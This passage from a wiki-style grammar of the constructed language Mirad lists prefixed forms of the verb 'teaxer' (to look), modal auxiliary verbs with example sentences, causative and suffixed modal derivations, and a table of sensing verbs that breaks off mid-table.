The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
